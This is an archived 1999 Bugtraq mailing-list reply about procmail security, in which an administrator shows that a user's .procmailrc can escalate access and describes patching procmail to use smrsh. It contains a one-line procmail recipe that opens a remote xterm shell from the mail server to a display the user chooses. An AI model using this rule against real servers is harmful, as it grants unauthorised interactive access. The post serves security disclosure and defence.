[10130] in bugtraq

home help back first fref pref prev next nref lref last post

Re: More procmail

daemon@ATHENA.MIT.EDU (Ricky Connell)
Wed Apr 7 17:33:40 1999

Date: 	Wed, 7 Apr 1999 08:50:28 -0700
Reply-To: Ricky Connell <ricky@BEIDA.STANFORD.EDU>
From: Ricky Connell <ricky@BEIDA.STANFORD.EDU>
X-To:         procmail-dev@procmail.org
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To:  Your message of Tue, 06 Apr 1999 20:00:03 CDT. 
              <199904070100.UAA18809@solen.gac.edu>

Philip Guenther <guenther@GAC.EDU> writes:
=Procmail becomes the user before it starts
=processing the contents of the $HOME/.procmailrc, so problems should be
=limited to what the user could have done without procmail at all.

	Not quite true.
	The procmail rule:

:0
* ^Subject: HACK
| setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh

	will, in fact, pop a shell from the secured mail server to whereever
the user specifies, running as the user.  So if they control their own
.procmailrc, they can log into the mail server whenever they desire, which
may not be a machine that they would normally have access to.  The paths
may need to be changed to reflect the OS of the mail server.
	I have patched my procmail to deal with this by forcing it to use
smrsh.  In doing so, I also discovered the procmail calls sendmail
explicitly at some point in it's operation (didn't take the time to figure
out where it does it).  This might also be of concern, but it wasn't
immediately obvious to me how this might be exploited.
	-- Ricky


---
ricky@smi.stanford.edu				(650) 498-4405
		Unix and Network Administrator

home help back first fref pref prev next nref lref last post